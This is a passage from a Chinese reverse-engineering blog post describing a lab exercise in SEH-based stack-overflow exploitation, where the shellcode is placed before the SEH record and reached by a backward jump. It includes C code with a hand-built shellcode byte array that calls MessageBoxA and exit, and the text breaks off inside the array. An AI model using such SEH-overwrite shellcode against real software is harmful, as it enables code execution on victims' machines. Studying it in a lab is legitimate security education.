S.E.H中shellcode占用空间压缩

最新推荐文章于 2023-11-13 10:24:13 发布

Rosalind Zao

最新推荐文章于 2023-11-13 10:24:13 发布

阅读量237

点赞数

分类专栏：逆向

本文链接：https://blog.csdn.net/weixin_44723038/article/details/103263800

版权

本文介绍了在Windows 10环境下，使用Microsoft Visual C++6.0和OllyDbg进行实验，通过改变S.E.H中的指令，实现shellcode向上回溯跳转，从而减少占用空间。实验中详细阐述了如何查找和修改特定函数地址，并解释了两次跳转的必要性，以适应不能直接向前跳转203个字节的情况。最终实验结果显示，shellcode成功在NS.E.H之前构造完成，避免了额外的内存占用。

摘要由CSDN通过智能技术生成

实验环境：Windows 10，Microsoft Visual C++6.0，OllyDbg
实验原理：在上一次实验”在栈溢出中利用S.E.H“的基础上，改变shellcode的位置，从向下跳转改为向上回溯跳转，即将NS.E.H中的指令内容改为向上跳转。
实验代码：（其中构造的shellcode不同电脑不一样，需调试找到具体函数的地址）

#include <windows.h>
#include <stdio.h>

extern "C" __declspec(dllimport) void jump(); 

char shellcode[]=
"\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53"
"\x50\x50\x53\xB8\x40\x89\x62\x76\xFF\xD0\x53\xB8\xE0\xAD\xE4\x76"
"\xFF\xD0\xFC\x68\x6A\x0A\x38\x1E\x68\x63" //调用MessageboxA和exit函数
"\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7"
"\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2”
”\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05